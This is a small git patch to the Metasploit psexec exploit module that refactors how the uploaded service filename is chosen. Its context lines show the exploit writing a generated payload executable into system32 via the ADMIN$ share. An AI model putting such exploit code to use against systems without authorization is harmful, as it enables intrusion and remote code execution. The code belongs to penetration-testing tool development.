From 95b0d4e5ecaa1a67944695f8fc3cee205583478b Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Thu, 9 May 2013 13:29:21 -0400 Subject: [PATCH] move filename init up to remove dup code as suggested by @jlee-r7 --- modules/exploits/windows/smb/psexec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 8eab847faa..bbb618236c 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -125,6 +125,8 @@ class Metasploit3 < Msf::Exploit::Remote report_auth_info(report_hash) end + filename = datastore['SERVICE_FILENAME'] ? datastore['SERVICE_FILENAME'] : rand_text_alpha(8) + ".exe" + if datastore['MOF_UPLOAD_METHOD'] # payload as exe print_status("Trying wbemexec...") @@ -134,7 +136,6 @@ class Metasploit3 < Msf::Exploit::Remote return end simple.connect("ADMIN$") - datastore['SERVICE_FILENAME'] ? filename = datastore['SERVICE_FILENAME'] : filename = rand_text_alpha(8) + ".exe" exe = generate_payload_exe fd = smb_open("\\system32\\#{filename}", 'rwct') fd << exe @@ -153,7 +154,6 @@ class Metasploit3 < Msf::Exploit::Remote # Disconnect from the ADMIN$ simple.disconnect("ADMIN$") else - datastore['SERVICE_FILENAME'] ? filename = datastore['SERVICE_FILENAME'] : filename = rand_text_alpha(8) + ".exe" servicename = rand_text_alpha(8) # Upload the shellcode to a file